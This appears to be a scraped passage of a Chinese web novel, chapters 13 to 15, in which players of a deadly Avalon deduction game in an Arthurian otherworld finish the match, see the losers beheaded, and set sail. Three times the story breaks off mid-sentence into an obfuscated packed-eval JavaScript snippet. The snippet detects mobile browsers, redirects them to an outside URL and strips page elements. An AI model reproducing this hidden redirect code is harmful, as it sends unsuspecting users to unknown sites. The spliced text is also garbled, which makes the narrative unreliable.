他的情绪不是后悔,反是激动,有种历尽沧桑终于寻得真相的获得感和喜悦。 “骆小姐,是我错了,我相信你是蓝了!” 他对骆桑道,“也是好事,这下都确定了,就我们1、4、5、6四个蓝,不会有错了,还有两次机会,能赢的!” “我靠大胡子你也太能演了!”小个子仰起头,把詹姆斯上上下下打量了个遍,一脸的不可置信,“看不出来你科班的呀,还真被你骗到了,原来你才是那个红!” “我——去——”高翔宇也趁机添油加醋,“我彻底凌乱了,你们两个到底谁特么是那个红啊?” 组错队的事实就摆在眼前,詹姆斯深刻认识到了这件事的严重性,自己是看清了真相,可别人眼中,自己却变成了红…… 不行,必须马上把自己澄清,否则会因为自己的错误害死整个蓝队。 詹姆斯马上说:“骆小姐,你听我……” “不必说了。”却被骆桑冷漠打断。 骆桑甚至都不看他,也不和任何人商量,直接转身朝向湖中仙女。 大胡子,你要的铁一般的事实,看好了。 “我是5号,我提议3号,5号和6号。” 13.阿瓦隆6 詹姆斯在那一刻变成石雕,脑中只嗡嗡响着两个字——完了。 小个子也吃惊,大胡子组队时骆桑明明说她是红,让大胡子选5别选3,怎么突然180度掉头把自己给选进去了?这受宠若惊都不知道用哪个姿势来接。 不过,没问题啊,3、5、6很好啊,好得很! 高翔宇心头则一咯噔,5之前明明说不信3的,他还以为这回稳稳是选1、5、6呢。 不过,换个角度想,5号这么笃定的话,那她应该就是…… 高翔宇偷瞄了一眼丽莎,丽莎半垂着头,探究的目光时不时抬起来,打在骆桑身上。 湖中仙女:【所有人背过身去各朝一面,我数三二一一齐投票,赞同本次人选的请立即举手,举慢的视为不投。】 詹姆斯在发呆中,没动。 湖中仙女:【5号提议3号,5号和6号,三、二、一、请投票。】 如期所料,只有3、5、6三人举手。 湖中仙女:【投票未通过,未通过次数为1次。】 【请继续选人,从6号开始。】 【剩余时间重置为十分钟,请在十分钟之内决定3个人选。】 还好没过,詹姆斯长长舒出一口气,擦擦满头的汗。 然后他马上改了澄清的对象:“王先生,不能选3,我是那个蓝,我才是!选4、5、6,4、5、6包成功!” 小个子很无语:“大胡子你就别演了,没人信你!” 王之栋就默默看着他俩,面无表情。 “别改队。”骆桑站到王之栋身旁,低低嘱咐三个字。 高翔宇本还想死马当活马医,看能不能再努力一把挤进队里,就被这三个字当头一棒敲泄了气。 王之栋自然不会有异议,他说:“都看到了,没入队的一个没投票,明明随便冲一票就过了,都不投,3、5、6里面明显没红嘛。” 这话叫詹姆斯一顿,似乎有道理,但他脑子里立刻盘出来一条逻辑完美解释了这件事——有没有一种可能,2号认为梅林是5和6里的其中之一,因为3是红所以5和6里会有人不投票,这样即便冲票票也不够,所以就没投,结果其实梅林不在5、6之中,而是1号,所以5、6都投了票。 他觉得这逻辑非常成立,可他万分纠结,他不敢说啊,怕暴露了他心目中的1号梅林! 王之栋丝毫没有察觉到大胡子心中的思绪万千,对他道:“4号,你是蓝的话就投票,4个蓝必须都投票才能通过。” 他也没把高翔宇给忘掉,做戏要做全套,紧接着又说,“同样,1号,你是蓝的话,投票!” “你们两个之中还有一个蓝,这个蓝给我投、票!” 说完,他转身对湖中仙女道:“我是6号,我提议3号,5号和6号。” 湖中仙女:【所有人背过身去各朝一面,我数三二一一齐投票,赞同本次人选的请立即举手,举慢的视为不投。】 詹姆斯一脸遗憾地摇头,嘱咐高翔宇道:“千万别投票,等下你来组队。” 王之栋:“……” 湖中仙女:【6号提议3号,5号和6号,三、二、一、请投票。】 果不其然,还是只有3、5、6三人举手。 湖中仙女:【投票未通过,未通过次数为2次。】 【请继续选人,从1号开始。】 【剩余时间重置为十分钟,请在十分钟之内决定3个人选。】 “靠……”一向风度有加的王之栋都忍不住爆了一句粗。 但他好歹忍住了,没有冲詹姆斯一顿训。 “我也不确定4号是不是蓝啊其实,3、4不好分……”高翔宇做思索状,“5、6肯定是双蓝,我觉得就1、5、6最稳。” “1、5、6……”詹姆斯想了想,点了个头,“也行吧,虽然选我更好。” 小个子没说什么,她有点犹豫,就听骆桑对她道:“别投票,1、2组队都别投,轮到你就是第5次,无需投票直接组3、5、6,这样最稳,省得1、4分不清。” 如雷灌顶,小个子简直要竖大拇指高呼佩服,果然还是你最顶啊5号! 王之栋也如梦初醒,瞬间不焦灼了:“有道理,那我也不投。” 高翔宇脸都白了,这不完犊子了,原本3v3势均力敌,谁也组不成队的,怎么第5回就刚刚好轮到3啊?轮到4都行啊…… 这5号不会……早就算到了吧…… 詹姆斯听出来自己已经彻底被骆桑抛弃了,他不知道怎样才能重新取得她的信任,更想不明白她为什么就相信3不相信自己。明明自己是蓝的证据更多,不过就是怀疑了她一轮,就被打死了。可她是高手,不是意气用事的人啊…… 詹姆斯在垂头丧气中听到高翔宇闷闷不乐的上报:“我是1号,我提议1号,5号和6号。” 湖中仙女:【所有人背过身去各朝一面,我数三二一一齐投票,赞同本次人选的请立即举手,举慢的视为不投。】 高翔宇很想改队的,不组1、5、6,干脆组个别的。可他能想到的可能:1、3、4,或者1、4、6,都不可能获得4票。不仅通不过,冒然改队还会被打成红再无翻身希望。 算了,就让3、5、6成功吧,然后他再跟4辩一辩看能不能入最后的4人组。 湖中仙女:【1号提议1号,5号和6号,三、二、一、请投票。】 只有高翔宇和詹姆斯举手。 丽莎很识时务地没有投票,为高翔宇保留最后的蓝面。 湖中仙女:【投票未通过,未通过次数为3次。】 【请继续选人,从2号开始。】 【剩余时间重置为十分钟,请在十分钟之内决定3个人选。】 丽莎已成公认的红方,轮到她组队,都没人说话,静悄悄的,只有湖水还在轻轻拍打着岸边,让人知道这是非静止画面。 丽莎知道,她选什么都不会被通过的,她也不期待。 她想,她知道梅林是谁了。 最后丽莎对湖中仙女上报:“我是2号,我提议1号,2号和4号。” 她干脆把1和4都带上跟她一起,让他们在同一个起跑线上辩论。 湖中仙女:【所有人背过身去各朝一面,我数三二一一齐投票,赞同本次人选的请立即举手,举慢的视为不投。】 无人响应,包括丽莎自己。 湖中仙女:【2号提议1号,2号和4号,三、二、一、请投票。】 无人投票,包括丽莎自己。 湖中仙女:【投票未通过,未通过次数为4次。】 【已达到未通过次数上限,请3号继续选人,这轮选人无需投票直接通过。】 【剩余时间重置为十分钟,请在十分钟之内决定3个人选。】 “我是3号,我提议3号,5号和6号。” 没有一秒钟停顿,小个子直接报数。 詹姆斯一听,绝望地闭上了眼睛。 湖中仙女:【3号提议3号,5号和6号,直接通过,请3号、5号和6号依次上前,将一枚鹅卵石投进箱子。】 第四处洞穴了,骆桑才第一次投石。 三人很快完成,暗箱变成箭矢升至半空。 詹姆斯转过身去,不想再看见箭矢掉落,洞穴被封的画面,那画面会让他无比伤心。 他感到胸口闷得发紧,双腿一软,一米八的大个子就蹲了下去。 湖水的波浪抚上滩涂,划过他精致的骑士衣装,发出些微柔顺的摩擦声。他伸出手去摸到湖水,清凉又干净,似乎能给他此刻沉重的心情一点慰藉。 他多想能留在这个世界,留在阿瓦隆,这种得而复失太叫人难以接受,他多舍不得,一定会无比想念。 不对,他无法再想念,灵魂被抹杀了还能剩下什么?没有,什么都没有,他将再不复存在,连一缕烟都不如。 唉,这可笑的命运,主把他带来了天堂,可天堂里为什么还有争斗?为什么他如此没用,这样力不从心? 现在还能怎么办?主啊,已经没有办法了,已经…… 【收到3枚白色鹅卵石。】 【恭喜各位获得2个线索。】 詹姆斯:…… 詹姆斯:? * 直到被携带着又秒换个地方,詹姆斯都还没回过神来。 这是一处高耸的悬崖,所有人都位于上百米的高峰之上,能眺望远方,有一览众山小之感。四面都是成片的低丘,低丘上是漫山遍野的苹果树,从位置上看,这座高峰位于小岛的中央地带。 洞穴就生在悬崖上,开口外有一块小平台,骑士们就站在这里,对着被荧光薄膜封着的洞穴口。 【第5个线索就藏在这里,我将释放魔法将封印解除。】 【现在开始第5次选人,从4号开始,规则同上。】 【剩余时间十分钟,请在十分钟之内决定4个人选。】 詹姆斯被cue了,但他还茫然着,看了看这突然来到的新洞穴,怀疑是不是在做梦。 主听到了我的呼唤,奇迹出现了? “哇,3号真是最后那个蓝!”是高翔宇的声音,“太好了,那不用再区分3、4了,这轮1、3、5、6妥妥过!” 高翔宇的意见只有小个子在听,尽管很不爽,她还是在认真听。 刚才选人不需要区分1、4,现在需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618033|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “4号肯定要带自己,大家都别投票,让5来带队。”高翔宇还在做最后的努力。 光是1在哐哐说,4都没反应,这能行吗?小个子直接上去一个巴掌拍在詹姆斯身上:“喂,大胡子,你认红啊?” 詹姆斯一个激灵,忙拍拍自己发僵的双颊,赶紧找回点实感。 “我……我是蓝啊,我是蓝。”舌头还没恢复利索,“3、4、5、6……原来四蓝,是这四蓝……1真的是红……” 他说着,又一次看向骆桑。 这一刻他觉得,她是灯塔。 高翔宇还在努力阐述自己为什么是蓝,4号为什么是红,詹姆斯感到已经没有辩论的意义,他如释重负地走向湖中仙女。 “我是4号,我提议3号,4号,5号和6号。” 湖中仙女:【所有人背过身去各朝一面,我数三二一一齐投票,赞同本次人选的请立即举手,举慢的视为不投。】 “别投票!大家千万别投票!”高翔宇还在呼吁。 小个子皱着眉。 湖中仙女:【4号提议3号,4号,5号和6号,三、二、一、请投票。】 只有三人举手:詹姆斯,骆桑,王之栋。 小个子没举,但当她回过头来,看到举着手的骆桑和王之栋时,脸上展开了然的微笑。 高翔宇曾经组出过坏队,不可能是梅林,梅林只能出在5、6里,而5、6都举手了。 她知道答案了。 湖中仙女:【投票未通过,未通过次数为1次。】 【请继续选人,从5号开始。】 【剩余时间重置为十分钟,请在十分钟之内决定3个人选。】 5、6都举手了,高翔宇明白没有机会了,不再说话。 骆桑直接上报:“我是5号,我提议3号,4号,5号和6号。” 湖中仙女:【所有人背过身去各朝一面,我数三二一一齐投票,赞同本次人选的请立即举手,举慢的视为不投。】 小个子,詹姆斯,骆桑,王之栋四人,做好投票准备。 湖中仙女:【5号提议3号,4号,5号和6号,三、二、一、请投票。】 3、4、5、6四人投票,四蓝集齐。 湖中仙女:【投票通过,请3号、4号、5号和6号依次上前,将一枚鹅卵石投进箱子。】 四人依次完成投石,暗箱化作的箭矢射向第五处洞穴口,在四人期待的目光中冲破荧光薄膜,冲进了洞穴内! 随之,又一捆小小的羊皮卷浮出洞外。 【收到4枚白色鹅卵石。】 【恭喜各位获得3个线索。】 【蓝方已成功找到3个线索,圣杯的位置已知晓,现在,我带各位去到圣杯封印之处。】 * 小岛上一处无人知晓的神秘角落,有着一个隐秘的洞穴,狭小的洞口被层层植被遮盖,又被一棵巨大苹果树的根茎阻拦,如不是有线索引导,根本不会有人能发现这里。 穿过狭小的洞口,里面有一片宽敞的天地,到处是五光十色的水晶,把不见天日的地下洞穴也照得亮堂。 洞穴的最深处,水晶石变得更巨大也更集中,在被水晶簇拥得最紧密的那处,一座金黄的圣杯静静沉眠。它的周围缠绕着许多条虚光,像一根根锁链把它牢牢困在那里。 骑士们随湖中仙女来到这里,被洞内奇异的景象吸引,时不时发出感叹。 而看到圣杯的一刻,詹姆斯在胸前划出个圆满的十字:“噢,主……” 一行人在圣杯被封印的地方稍作等待,没多会儿,步伐声从洞口方向传来。 来人是下船时见过的那两个骑士,他们抬着昏迷的亚瑟王来到这里,把亚瑟王放到了圣杯之下。 那里有一条涓涓细流,应就是传说中的圣水。 【蓝方已成功找到圣杯,但需要梅林的魔法才能解除封印。】 说着,湖中仙女身前出现一把覆盖光泽的利剑。 【刺客,这是莫德雷德交予你的龙息之剑,你有一次机会,刺杀你认为的梅林。】 高翔宇是莫甘娜,那么刺客就是丽莎。 这个信息只有身为派西维尔的骆桑知道,连梅林王之栋都不知他们谁是谁,于是骆桑看向他们二人,目光带着好奇,好似在看,谁会去拿剑。 丽莎果然先观察骆桑和王之栋,然后才动身上前,把剑拿在手里。 【刺客,请在十分钟之内,用龙息之剑刺向梅林。】 剑身的光泽打在丽莎身上,她脸上暗淡的雀斑在颤动。 她手发着抖,双眼紧紧盯着骆桑和王之栋,用干哑的声音问高翔宇: “5,还是6?” 14.阿瓦隆7 最后一刺,胜败在此一举,红蓝双方都捏了把汗。 “我刚才从头到尾理了一遍。”高翔宇说,他的状态比丽莎要冷静,“3、4不考虑,肯定不是。5、6的话,除了第一轮都投票了,后面凡是有你我的组,就再也没投过票,这两个肯定一个是派西维尔一个是梅林。” 骆桑十分庆幸从一开始就决定不跳派西维尔这个决定,3、4这两个忠臣是一点挡不了刀啊,王之栋也死脑筋,不拐弯,有红就坚决不投票。 “我知道,我就是不确定谁是派西维尔谁是梅林。”丽莎十分犹豫,目光在骆桑和王之栋之间不停来回。 骆桑侧身站着,偏过脸去不看丽莎,王之栋则不避讳她的目光,但一张国字脸上看不出任何表情。 “我觉得还是5更像梅林。”高翔宇说,“第一轮我组1、2,6说了同意,5没说话。我记得很清楚,6的原话是:我觉得可以,试试看吧。如果6是派西维尔,他能看到1和5,所以觉得可以让1试试看1是不是梅林。其他人都同意,5不敢一个人不投票,所以虽然心里不同意还是投了票。” “这样能说通吧?” 丽莎颤抖着点头:“……能。” 高翔宇:“后来1、2、3失败了,3踩我,5就趁机直接让3别带我,是不是很怪?” 丽莎:“可是你组错队做不成梅林了,派西维尔也可以打死你呀。而且她那时候没有打我,是不是只知道1是红不知道2也是红?” 高翔宇:“怎么没有打你,4盘1、3双蓝,她马上就说那2就是那个红,借机就祸水东引了,然后3把你组进去她直接没投票。” 丽莎回忆着。 高翔宇:“而且她一上来就认3号是蓝,说我跟3号一定不共边,派西维尔怎么能肯定3号是蓝的?她怎么不盘1、3双红?后来3号问她为什么不投票,她给的理由是她还愿意相信4,还要让4组队,那不摆明了就踩你了吗?” “6号那个时候就不相信3,他说了两次不相信3,他是因为不相信3才没有投票,这该是派西维尔啊。” 丽莎点点头,然后又想起了什么似的,慌张道:“可是后面你压票,5又认你是蓝了呀!” 高翔宇:“那哪是认我蓝。她是被4打成红了,4非要带我不带她,她只好踩3让4把3换出来把她给换进去。” “我当时也懵逼,不管5是派西维尔还是梅林都不可能认我是蓝,还以为大前提都盘错了。后来轮到5组队直接一个3、5、6,我就知道了,她从来没有信过我。我才想通,她当时只是权宜之计,把3换出去的话3不会投票,4组的队就过不了,她是为了这个!” 丽莎恍然大悟。 高翔宇:“我也就是那个时候,肯定了5就是梅林。” 丽莎握了握手中的利剑,“……好”,她颤抖着说,“那我刺了。” 丽莎只是个普通女子,从未行凶伤过人,她剑都举不平,歪歪斜斜朝骆桑靠近。 骆桑站立着,一动不动,看着剑尖抵至胸膛,听到她抽泣的声音:“……对不起……” 詹姆斯和小个子一直不敢发话,听到红方的讨论才后知后觉这对局中原来藏着这么多暗流涌动,自己纯粹是瞎猫撞到死耗子躺着成功了三次。 此时此刻,两人只能屏气凝神旁观这场刺杀,在心中悄悄祈祷:不是5,不是5…… 龙息之剑拥有神力,骆桑感觉身体似乎被剑穿透,但身上的骑士衣装并没有破损,也没有痛感。不一会儿,从她的身体里飘出来一个半透明的人影,好似灵魂出窍。 那是一名身材高大的骑士,五官周正又稍显木讷,留着一头老实的西瓜皮发型。 高翔宇一看到那造型就大惊失色:“派……派……” 应时,湖中仙女开口:【2号刺客选择刺杀5号,5号的身份为:派西维尔。】 【红方刺杀梅林失败,蓝方获胜。】 * 龙息之剑被湖中仙女收走,丽莎在听到结果后瘫倒在地面色煞白。 而另一边,詹姆斯和小个子几乎高兴到尖叫。 几家欢乐几家愁。 【梅林,你现在可以为圣杯解除封印。】 湖中仙女对王之栋说。 “卧槽……是6……”高翔宇肠子都悔青了。 王之栋的身体里也突然飘出一个半透明的人影,那是一位身着长袍的老者,他的苍苍白发披散到背上,长胡须浓密像瀑布,岁月的痕迹爬满他的脸庞,却掩盖不住那双充满智慧的眼睛。 老者面带微笑,凝视了湖中仙女片刻,走到被水晶簇拥的圣杯前,举起一根长长的法杖。 魔法的光束迅速涌向圣杯,攀上缠绕住它的根根锁链,将之一根一根解开。当所有的锁链全部松开,圣杯渐渐上浮,发出更耀眼的光芒。 派西维尔急忙上前取下圣杯,谨慎端到圣水旁舀来少许,然后蹲在亚瑟王身旁,亲自喂他喝下圣水。 要不怎么说这世界神奇呢,半透明的人影居然也能和周遭的事物交互无障碍。 一切照着剧本来,亚瑟王喝下圣水后很快奇迹般地苏醒,派西维尔连同那两名骑士激动地单膝跪地,齐声喊道:“陛下!” 随后,两名骑士起身,把高翔宇和丽莎押解到亚瑟王跟前:“陛下,这是我们抓到的两个叛徒,莫德雷德派来的,请处置。” 输家的惩罚:魂飞魄散。 二人被摁着头跪在地上,脸快埋进土里,亚瑟王高大的身躯就立在他们身前,居高临下。 “我尊贵的圆桌骑士,曾以勇气与荣誉立誓,曾与我共享王国的荣耀,而今誓言破碎,光芒终被阴影吞噬,我仍念你们为兄弟,赐予你们荣誉处决,愿天国宽恕你们的罪愆。” 言毕,丽莎的头发被撩开,露出雪白的后脖颈,派西维尔站到一侧从腰间拔出剑,对准了她露出的一截脖子。 “不要啊——!”丽莎惊惶大喊,拼命挣扎,“是你们逼我玩的!我又不想!凭什么——!” 却无济于事,她被牢牢制着,派西维尔的剑高高一扬,又重重落下! 令人心碎的咔嚓声响,丽莎的哭喊戛然而止,长发包裹的头颅翻滚到亚瑟王脚下,血流如注…… 高翔宇彻底发不出声音了,昨夜他高谈阔论过,认为灵魂死后说不定还会以另一种方式存在,可惜此刻已全忘掉,找不到一丝一毫底气。 没有任何特殊,每一个人到了这一刻都只剩恐惧。他浑身瘫软,连反抗的声音都发不出,任由行刑者扯开他的领口,拿剑对准他的脖子。 又一个手起刀落,第二个输家被处置。 这个世界仿佛一种奖赏,让人在死后还能拥有时光,可这种奖赏又如此吝啬,可能还没抓住,就匆匆溜走。 两具遗体很快被拖走,留下满地血污,掺进涓涓流过的圣水…… * 小岛深处,隐秘的洞穴内,伟大的卡美洛国王亚瑟刚经历一场重生。 那是卡美洛传说留下的最后悬念,是一段留白,却在这个神奇的世界里得到延续和填补。 这个世界,究竟由何构造而成? 这场重生基于一次阵营对局的胜利,获胜的4人幸免于难,却并不欣喜若狂,他们都极力往后退,尽量远离那一地血腥。詹姆斯连朝拜他心中的亚瑟王都忘记了,只一个劲地默念着祈祷词,说着抱歉。 亚瑟王处置了叛徒,也没有忘记功臣,朝他们露出和善的微笑。 “我衷心的骑士,是你们为我点燃重生之火,我不会忘记你们的忠诚和信仰,当不列颠再需要我的那天,我自会归去。” “噢,我的王……”詹姆斯这才双手合十,共情到这场景里,“这是我的荣幸,我衷心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627311|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝福你和你的王国,永享荣耀。” 亚瑟王满意地点头,又朝向一旁的老者。 “我亲爱的大法师,永远不要忘记,忠诚的骑士值得奖赏。” “他们为我铺了一条重生之路,请也为他们铺一段路吧。” 老者颔首:“是的,亚瑟。” 他朝向几人,“尊贵的骑士,请跟随我去往阿瓦隆的边界。” 阿瓦隆的边界? 老者带路朝洞穴外走去,临行又回首喊了一声:“薇薇安。” 他朝着的,是湖中仙女。 湖中仙女cue完了对局流程,并没有立刻消失,而是在一旁静静看着亚瑟王复活,此刻听到声音,看向老者。 老者用请求的口气道:“等我回来,薇薇安。” “原来湖中仙女就是薇薇安啊……”詹姆斯很是惊讶,开了个小小聊天框对几人说,“传说里,梅林爱上了薇薇安,被拿捏得死死的,还被各种算计,她是梅林的劫数。” 骆桑:“……” 一下想起了湖中仙女制裁壮汉时的那凶相。哦豁,连这种事情都要复刻出来,这个世界还真是尊重原著~ 小个子只管“呵呵”两声,无情吐槽:“老头子也不检点。” “……”詹姆斯只得又解释,“其实梅林也不一定就是老头子,他的年龄是个谜,他可以以任何年纪的样貌示人,可以变回青年,甚至少年,只是大多数时候都以老者示人而已。” 歪楼聊天间,老者已经走进了洞穴内的通道,几人赶紧收心,急忙跟上去。 * 老者在通道内布了魔法阵,一走出通道,几人发现来到了一片辽阔的滩涂,这里已不可见苹果树,面前是被迷雾笼罩的茫茫水域。 而滩涂边,停着一艘小木船。 “这里就是阿瓦隆的边界。”老者说,“这艘小船已被施过魔法,你们可以乘上它,离开阿瓦隆。” “离开阿瓦隆?去哪里?”詹姆斯问,“我们从卡美洛王国来,又要回到那里去吗?那里还在战争?” 老者摇头:“不,这里是阿瓦隆的另一面,你们看到的不是那片湖。” “这里,是浩瀚的海洋。” 海洋! 的确,这里能听到海浪的声音,和之前那片湖不一样。 詹姆斯:“威尔士以西确实是海洋,再越过爱尔兰,就是大西洋。” 王之栋:“那这个世界的大西洋有什么?跟现实世界一样吗?” 那肯定不能一样,骆桑问老者:“大法师,您能告诉我们,这里究竟是什么地方吗?” 这个问题叫老者疑惑:“年轻的骑士,你难道不知道,你来到了阿瓦隆吗?” 骆桑:“大法师,我指的,是这个世界,这个有卡美洛王国,有阿瓦隆的世界,这个世界是什么地方?” 这类似于一个游戏玩家问游戏里的NPC,你们这个游戏世界是个什么东东,世界观咋规定的,作为世界内部存在的NPC,能回答吗? 但骆桑没有开玩笑,她看着全身上下呈半透明状,若有似无的梅林,总觉得他望向这片海洋的眼里,有种洞悉一切的了然。 她觉得,这个问题,梅林能回答。 老者笑了:“阿瓦隆,人间与灵界的交汇之处,亚瑟在这里复活,你们能来到这里,也一定是已经窥探到了,死。” “但这里并不通向死,反是生之起点。” 生之起点…… 小个子很兴奋:“是说我们也能复活的意思吗?” 王之栋也十分期待:“能活着回到现实世界?” 老者笑容神秘:“什么是现实世界?什么又是卡美洛世界?呵呵呵呵呵……世界无比广大,你所看见的,未必是真实,你所相信的,未必是唯一。” “生,与死,未必就是你曾经的定义。” 15.阿瓦隆8 海浪拍打滩涂,卷起砂石退去又折返,海风夹带着特有的腥甜打在脸上,那种感觉的确更接近真实。 这是静若止水的阿瓦隆岛上唯一有风的地方。 --世界无比广大,你所看见的,未必是真实,你所相信的,未必是唯一。-- --生,与死,未必就是你曾经的定义-- 老者的话在风中盘旋,像是融化在了里面,久久不散。 “乘上小船,到海洋里去吧。” 老者走向小木船,举起法杖将船上的帆扬起。 “无比广大的世界,你们还有许多机会可以继续游历,当你们去到足够多的地方,也许就会有答案,会明白世界的真相,明白你们自己,是什么。” 这就是亚瑟王所说的,为他们铺的一段路吧。 所以,这个世界是有真相的。 “您说的游历,一定也是充满挑战的吧?”骆桑问。 “我想是的。”老者回答。 詹姆斯的脸一下就垮了:“还是这种你死我活的对抗?” “呵呵呵……”老者笑而不语。 骆桑向老者点头致谢:“那,我去看看这个世界,有缘再会。” 说完便走到了小木船处,等待上船。 “噢我的上帝……”詹姆斯崩溃,“大法师,告诉我,这不是我的宿命,我简直要被逼疯了!” 老者问他:“你很拒绝这种游历?” 詹姆斯:“我真不适合这样的对抗,太煎熬。” 老者:“你对这个世界不好奇吗?” 詹姆斯:“我只想要安宁。” 老者对他点头:“那么,你可以留在阿瓦隆。亚瑟已苏醒,这里不会再有争斗,阿瓦隆的时间流逝几乎为零,你可以在这里,以一个不变的状态,享有永恒的安宁。” “真的吗?”詹姆斯喜出望外,“那太好了,请让我留下!” 老者:“请记住,如果你选择留在阿瓦隆,那么对你来说,阿瓦隆就是永生之境,也是你永久的归宿,你将再不能离开,也再不会有别的可能。” 詹姆斯沉默片刻,慎重思索后,深吸一口气,道:“阿瓦隆就是我的理想乡,世界再大,也没有更好的地方了,我愿意永远留在这里。” 老者微笑着点头。 骆桑在小木船边远远望了詹姆斯一眼,她看到,他的眼神,是幸福的。 “那么,你们呢?”老者问小个子和王之栋。 “下一关当然要去闯。”小个子干干脆脆抬步朝船边走。 “我也不能停留,我期待能有机会活着回去。”王之栋也决定上船。 老者将选择启程的三人送上小木船,就要施法让船起航。 “请稍等!”詹姆斯喊道,急急忙忙跑过来,“差点忘了感谢你,骆小姐,还好没有错过。” 他仰望着船上的骆桑,目光真诚,“能在这里遇到你,我荣幸之至,多亏有你,我才能获得两次胜利,对我来说,这是最好的结局。” “谢谢你,骆小姐。” 骆桑回答:“詹姆斯,你最应该谢的,其实是你自己的善意。” “那时你以为我是红方,很想告诉其他人5号是高手,必须严加提防对吧?我之前说了,如果我们是敌对方,你不必遵守任何约定。但你依然选择了口下留情,没有用恶劣的方式去逼死对手。” “正是你的口下留情救了蓝方,否则,如果高翔宇知道我擅长玩这个游戏,说不定就会再多盘一层逻辑,再多一层,他就能发现我是在假装,我就挡不了刀了。” “……噢是吗!”一米八的中年大胡子男人笑得像个孩子。 骆桑:“再见了詹姆斯,祝永安。” * 海浪抚过船舷,小木船使进浓雾,阿瓦隆边缘的那片滩涂消失在视线中,詹姆斯挥着手的身影就定格在浓雾最后的剪影里,终于也成了背景的一部分。 海风呼啸,海浪逐渐汹涌,但小木船在魔法的保护下,平稳航行着。 “真佩服他的勇气。”再看不到陆地后,王之栋感叹,“要我在同一个地方就这么待下去,什么变化也没有,日复一日,一模一样的日升日落,好像时间都停止了,不孤独死也得无聊死。” 骆桑:“所以相较之下,你更愿意冒险?” 王之栋:“至少可以有所期待,万一有惊喜呢。” “嚯,惊喜。”小个子瘪着嘴,“惊喜可能就是下一场直接输掉,哏儿~屁~” 王之栋:“……” 总有人有把天儿聊死的本事。 不过看这个小丫头这会儿心情不错的样子,他又尝试问:“冒昧啊,真的不可以问问,你叫什么名字吗?” 小个子一愣。 王之栋很小心地:“主要是……之后还要一起旅行,不知道怎么称呼总不方便,不能总叫你小妹妹吧。” 小个子闷了会儿,终于开了金口:“那你可以叫我烂烂。” “……烂?” 这么取名的很少见啊,“哪个烂字啊?” 小个子:“还有哪个烂?” 王之栋很有建设性地:“山花烂漫的烂吧?” 小个子额上落下两根黑线,无情纠正:“啃黄瓜必须咬烂咬不烂也要踩烂,简称烂烂。” 王之栋:“……” 骆桑:“……” 真的,笑不出来…… 小木船在尴尬的沉默中继续航行。 尽管是白天,浓雾覆盖的海面视线并不清晰,时间失去锚点,不知过去了多久。 许久,王之栋叹了口气:“唉,也不知道咱们接下来会去哪里。” 茫茫大海,连航行的方向都一无所知。 王之栋:“我起初以为这是一个死后的世界,或者说,介于生死之间过渡的那种地方,在这里呆一呆,就要去阴曹地府。但听那个梅林说的,好像又不是。” “生之起点……还没听说过这样的地方呢,有一种,生和死好像是一个循环的意思。” “阿瓦隆……确实不是介于生死之间过渡的地方,不是灵魂去往天堂或地狱的中转站,原本的寓意就不是。” 骆桑说,“在这个世界里代表什么我不知道,我只知道,对詹姆斯来说,它就是天堂本身,而对我们来说,可能更像个训诫所。” ……训诫所? 这个词叫王之栋和小个子都一惊,也莫名其妙。 骆桑:“看到濒死的亚瑟王复活,又听到一个‘生之起点’,你们是不是就产生了幻想,都觉得可以死而复生?所以你们都愿意继续冒险,哪怕要不断参加你死我活的对抗游戏。” “这不像接受了一场训诫?” “我没有啊。”小个子否认,“我本来就这么认为的。” 骆桑:“嗯,你是不需要。” 王之栋思索了下,还是不太能接受,低声说:“所以你……一点都不相信,这么悲观吗?” 可能只是因为,我没有你们那么想要死而复生吧…… 骆桑在心里应,但没有说出来。 王之栋:“那你为什么还要出来冒险呢?既然不认为有活着回到现实的可能,和詹姆斯一样留在阿瓦隆不是更好吗?” 骆桑沉默半晌,海浪拍打船舷的声音,单调地循环往复。 “不知道说出来好不好,也可能只是我想多了,我注意到一件事。”许久,骆桑说。 王之栋和小个子都好奇地看向她。 骆桑先是把在那艘小木船上进行的5人阵营战的前前后后对王之栋讲述了一遍,然后说:“《阿瓦隆》这类多人阵营对抗游戏有一个特点,如果一场游戏中有人三心二意,不专心投入,或者无所谓输赢乱玩,哪怕只有一个这样的玩家,整场游戏的逻辑都会崩盘。” “放在这个世界里就变成了,如果有人本就不想活,那么想活的人也很难把对局正常进行下去。于是,这个世界里的游戏参与者,得全员都有求生欲,才有意思。” “才有意思?”王之栋觉得这个形容很刺耳。 “是的。” 骆桑语调平静,“所以,从一开始拼命逃上船的就都是想活的,不那么想活的早被拿剑的砍死了。所以有人想要跳湖,也不会被阻止,会被直接放弃然后换一个人;所以有人没有斗志,比如詹姆斯,也会被允许就地止步。” “总之,这个世界会用某些方式挑选有强烈求生欲的人来进行对抗,保证这种对抗的……” “可观赏性。” 最后几个字,骆桑放低了声音,字字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 